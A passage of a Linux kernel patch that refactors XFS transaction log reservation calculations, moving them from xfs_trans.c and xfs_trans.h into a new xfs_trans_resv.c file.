__xfs_calc_create_reservation(mp); - -} - -/* - * Making a new directory is the same as creating a new file. - */ -STATIC uint -xfs_calc_mkdir_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp); -} - - -/* - * Making a new symplink is the same as creating a new file, but - * with the added blocks for remote symlink data which can be up to 1kB in - * length (MAXPATHLEN). - */ -STATIC uint -xfs_calc_symlink_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp) + - xfs_calc_buf_res(1, MAXPATHLEN); -} - -/* - * In freeing an inode we can modify: - * the inode being freed: inode size - * the super block free inode counter: sector size - * the agi hash list and counters: sector size - * the inode btree entry: block size - * the on disk inode before ours in the agi hash list: inode cluster size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_ifree_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), - XFS_INODE_CLUSTER_SIZE(mp)) + - xfs_calc_buf_res(1, 0) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * When only changing the inode we log the inode and possibly the superblock - * We also add a bit of slop for the transaction stuff. - */ -STATIC uint -xfs_calc_ichange_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - mp->m_sb.sb_inodesize + - mp->m_sb.sb_sectsize + - 512; - -} - -/* - * Growing the data section of the filesystem. - * superblock - * agi and agf - * allocation btrees - */ -STATIC uint -xfs_calc_growdata_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the first set of transactions (ALLOC) we allocate space to the - * bitmap or summary files. - * superblock: sector size - * agf of the ag from which the extent is allocated: sector size - * bmap btree for bitmap/summary inode: max depth * blocksize - * bitmap/summary inode: inode size - * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize - */ -STATIC uint -xfs_calc_growrtalloc_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the second set of transactions (ZERO) we zero the new metadata blocks. - * one bitmap/summary block: blocksize - */ -STATIC uint -xfs_calc_growrtzero_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_blocksize); -} - -/* - * Growing the rt section of the filesystem. - * In the third set of transactions (FREE) we update metadata without - * allocating any new blocks. - * superblock: sector size - * bitmap inode: inode size - * summary inode: inode size - * one bitmap block: blocksize - * summary blocks: new summary size - */ -STATIC uint -xfs_calc_growrtfree_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + - xfs_calc_buf_res(1, mp->m_rsumsize); -} - -/* - * Logging the inode modification timestamp on a synchronous write. - * inode - */ -STATIC uint -xfs_calc_swrite_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Logging the inode mode bits when writing a setuid/setgid file - * inode - */ -STATIC uint -xfs_calc_writeid_reservation(xfs_mount_t *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Converting the inode from non-attributed to attributed. - * the inode being converted: inode size - * agf block and superblock (for block allocation) - * the new block (directory sized) - * bmap blocks for the new directory block - * allocation btrees - */ -STATIC uint -xfs_calc_addafork_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, mp->m_dirblksize) + - xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing the attribute fork of a file - * the inode being truncated: inode size - * the inode's bmap btree: max depth * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrinval_reservation( - struct xfs_mount *mp) -{ - return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Setting an attribute at mount time. - * the inode getting the attribute - * the superblock for allocations - * the agfs extents are allocated from - * the attribute btree * max depth - * the inode allocation btree - * Since attribute transaction space is dependent on the size of the attribute, - * the calculation is done partially at mount time and partially at runtime(see - * below). - */ -STATIC uint -xfs_calc_attrsetm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); -} - -/* - * Setting an attribute at runtime, transaction space unit per block. - * the superblock for allocations: sector size - * the inode bmap btree could join or split: max depth * block size - * Since the runtime attribute transaction space is dependent on the total - * blocks needed for the 1st bmap, here we calculate out the space unit for - * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). - */ -STATIC uint -xfs_calc_attrsetrt_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing an attribute. - * the inode: inode size - * the attribute btree could join: max depth * block size - * the inode bmap btree could join or split: max depth * block size - * And the bmap_finish transaction can free the attr blocks freed giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrrm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, - XFS_FSB_TO_B(mp, 1)) + - (uint)XFS_FSB_TO_B(mp, - XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Clearing a bad agino number in an agi hash bucket. - */ -STATIC uint -xfs_calc_clear_agi_bucket_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* - * Clearing the quotaflags in the superblock. - * the super block for changing quota flags: sector size - */ -STATIC uint -xfs_calc_qm_sbchange_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* - * Adjusting quota limits. - * the xfs_disk_dquot_t: sizeof(struct xfs_disk_dquot) - */ -STATIC uint -xfs_calc_qm_setqlim_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, sizeof(struct xfs_disk_dquot)); -} - -/* - * Allocating quota on disk if needed. - * the write transaction log space: XFS_WRITE_LOG_RES(mp) - * the unit of quota allocation: one system block size - */ -STATIC uint -xfs_calc_qm_dqalloc_reservation( - struct xfs_mount *mp) -{ - return XFS_WRITE_LOG_RES(mp) + - xfs_calc_buf_res(1, - XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); -} - -/* - * Turning off quotas. - * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 - * the superblock for the quota flags: sector size - */ -STATIC uint -xfs_calc_qm_quotaoff_reservation( - struct xfs_mount *mp) -{ - return sizeof(struct xfs_qoff_logitem) * 2 + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* - * End of turning off quotas. - * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 - */ -STATIC uint -xfs_calc_qm_quotaoff_end_reservation( - struct xfs_mount *mp) -{ - return sizeof(struct xfs_qoff_logitem) * 2; -} - -/* - * Syncing the incore super block changes to disk. - * the super block to reflect the changes: sector size - */ -STATIC uint -xfs_calc_sb_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* * Initialize the precomputed transaction reservation values * in the mount structure. */ @@ -679,36 +56,7 @@ void xfs_trans_init( struct xfs_mount *mp) { - struct xfs_trans_reservations *resp = &mp->m_reservations; - - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); - resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); - resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); - resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); - resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); - resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); - resp->tr_sb = xfs_calc_sb_reservation(mp); + xfs_trans_resv_calc(mp, &mp->m_reservations); } /* diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 772d5ae..b5dc61e 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -20,80 +20,9 @@ struct xfs_log_item; -/* - * Per-extent log reservation for the allocation btree changes - * involved in freeing or allocating an extent. - * 2 trees * (2 blocks/level * max depth - 1) - */ -#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ - ((nx) * (2 * (2 * XFS_AG_MAXLEVELS(mp) - 1))) +#include "xfs_trans_resv.h" -/* - * Per-directory log reservation for any directory change. - * dir blocks: (1 btree block per level + data block + free block) - * bmap btree: (levels + 2) * max depth - * v2 directory blocks can be fragmented below the dirblksize down to the fsb - * size, so account for that in the DAENTER macros. - */ -#define XFS_DIROP_LOG_COUNT(mp) \ - (XFS_DAENTER_BLOCKS(mp, XFS_DATA_FORK) + \ - XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) - - -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -/* - * Logging the inode timestamps on an fsync -- same as SWRITE - * as long as SWRITE logs the entire inode core - */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) -#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) - -/* - * Various log count values. - */ -#define XFS_DEFAULT_LOG_COUNT 1 -#define XFS_DEFAULT_PERM_LOG_COUNT 2 -#define XFS_ITRUNCATE_LOG_COUNT 2 -#define XFS_INACTIVE_LOG_COUNT 2 -#define XFS_CREATE_LOG_COUNT 2 -#define XFS_MKDIR_LOG_COUNT 3 -#define XFS_SYMLINK_LOG_COUNT 3 -#define XFS_REMOVE_LOG_COUNT 2 -#define XFS_LINK_LOG_COUNT 2 -#define XFS_RENAME_LOG_COUNT 2 -#define XFS_WRITE_LOG_COUNT 2 -#define XFS_ADDAFORK_LOG_COUNT 2 -#define XFS_ATTRINVAL_LOG_COUNT 1 -#define XFS_ATTRSET_LOG_COUNT 3 -#define XFS_ATTRRM_LOG_COUNT 3 - -#ifdef __KERNEL__ +/* kernel only transaction subsystem defines */ struct xfs_buf; struct xfs_buftarg; @@ -323,6 +252,4 @@ void xfs_trans_ail_destroy(struct xfs_mount *); extern kmem_zone_t *xfs_trans_zone; extern kmem_zone_t *xfs_log_item_desc_zone; -#endif /* __KERNEL__ */ - #endif /* __XFS_TRANS_H__ */ diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c new file mode 100644 index 0000000..5a1537e --- /dev/null +++ b/fs/xfs/xfs_trans_resv.c @@ -0,0 +1,701 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * Copyright (C) 2010 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log.h" +#include "xfs_trans_resv.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_error.h" +#include "xfs_da_btree.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_btree.h" +#include "xfs_ialloc.h" +#include "xfs_alloc.h" +#include "xfs_extent_busy.h" +#include "xfs_bmap.h" +#include "xfs_quota.h" +#include "xfs_qm.h" +#include "xfs_trans_space.h" +#include "xfs_trace.h" + +/* + * A buffer has a format structure overhead in the log in addition + * to the data, so we need to take this into account when reserving + * space in a transaction for a buffer. Round the space required up + * to a multiple of 128 bytes so that we don't change the historical + * reservation that has been used for this overhead. + */ +STATIC uint +xfs_buf_log_overhead(void) +{ + return round_up(sizeof(struct xlog_op_header) + + sizeof(struct xfs_buf_log_format), 128); +} + +/* + * Calculate out transaction log reservation per item in bytes. + * + * The nbufs argument is used to indicate the number of items that + * will be changed in a transaction. size is used to tell how many + * bytes should be reserved per item. + */ +STATIC uint +xfs_calc_buf_res( + uint nbufs, + uint size) +{ + return nbufs * (size + xfs_buf_log_overhead()); +} + +/* + * Various log reservation values. + * + * These are based on the size of the file system block because that is what + * most transactions manipulate. Each adds in an additional 128 bytes per + * item logged to try to account for the overhead of the transaction mechanism. + * + * Note: Most of the reservations underestimate the number of allocation + * groups into which they could free extents in the xfs_bmap_finish() call. + * This is because the number in the worst case is quite high and quite + * unusual. In order to fix this we need to change xfs_bmap_finish() to free + * extents in only a single AG at a time. This will require changes to the + * EFI code as well, however, so that the EFI for the extents not freed is + * logged again in each transaction. See SGI PV #261917. + * + * Reservation functions here avoid a huge stack in xfs_trans_init due to + * register overflow from temporaries in the calculations. + */ + + +/* + * In a write transaction we can allocate a maximum of 2 + * extents. This gives: + * the inode getting the new extents: inode size + * the inode's bmap btree: max depth * block size + * the agfs of the ags from which the extents are allocated: 2 * sector + * the superblock free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + * And the bmap_finish transaction can free bmap blocks in a join: + * the agfs of the ags containing the blocks: 2 * sector size + * the agfls of the ags containing the blocks: 2 * sector size + * the super block free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_write_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * In truncating a file we free up to two extents at once. We can modify: + * the inode being truncated: inode size + * the inode's bmap btree: (max depth + 1) * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_itruncate_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(5, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0))); +} + +/* + * In renaming a files we can modify: + * the four inodes involved: 4 * inode size + * the two directory btrees: 2 * (max depth + v2) * dir block size + * the two directory bmap btrees: 2 * max depth * block size + * And the bmap_finish transaction can free dir and bmap blocks (two sets + * of bmap blocks) giving: + * the agf for the ags in which the blocks live: 3 * sector size + * the agfl for the ags in which the blocks live: 3 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_rename_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For creating a link to an inode: + * the parent directory inode: inode size + * the linked inode: inode size + * the directory btree could split: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free some bmap blocks giving: + * the agf for the ag in which the blocks live: sector size + * the agfl for the ag in which the blocks live: sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_link_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For removing a directory entry we can modify: + * the parent directory inode: inode size + * the removed inode: inode size + * the directory btree could join: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free the dir and bmap blocks giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_remove_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For create, break it in to the two cases that the transaction + * covers. We start with the modify case - allocation done by modification + * of the state of existing inodes - and the allocation case. + */ + +/* + * For create we can modify: + * the parent directory inode: inode size + * the new inode: inode size + * the inode btree entry: block size + * the superblock for the nlink flag: sector size + * the directory btree: (max depth + v2) * dir block size + * the directory inode's bmap btree: (max depth + v2) * block size + */ +STATIC uint +xfs_calc_create_resv_modify( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + (uint)XFS_FSB_TO_B(mp, 1) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); +} + +/* + * For create we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_create_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +__xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_create_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +/* + * For icreate we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_icreate_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +xfs_calc_icreate_reservation(xfs_mount_t *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_icreate_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +STATIC uint +xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return xfs_calc_icreate_reservation(mp); + return __xfs_calc_create_reservation(mp); + +} + +/* + * Making a new directory is the same as creating a new file. + */ +STATIC uint +xfs_calc_mkdir_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp); +} + + +/* + * Making a new symplink is the same as creating a new file, but + * with the added blocks for remote symlink data which can be up to 1kB in + * length (MAXPATHLEN). + */ +STATIC uint +xfs_calc_symlink_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp) + + xfs_calc_buf_res(1, MAXPATHLEN); +} + +/* + * In freeing an inode we can modify: + * the inode being freed: inode size + * the super block free inode counter: sector size + * the agi hash list and counters: sector size + * the inode btree entry: block size + * the on disk inode before ours in the agi hash list: inode cluster size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_ifree_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + XFS_INODE_CLUSTER_SIZE(mp)) + + xfs_calc_buf_res(1, 0) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * When only changing the inode we log the inode and possibly the superblock + * We also add a bit of slop for the transaction stuff. + */ +STATIC uint +xfs_calc_ichange_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + mp->m_sb.sb_inodesize + + mp->m_sb.sb_sectsize + + 512; + +} + +/* + * Growing the data section of the filesystem. + * superblock + * agi and agf + * allocation btrees + */ +STATIC uint +xfs_calc_growdata_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + 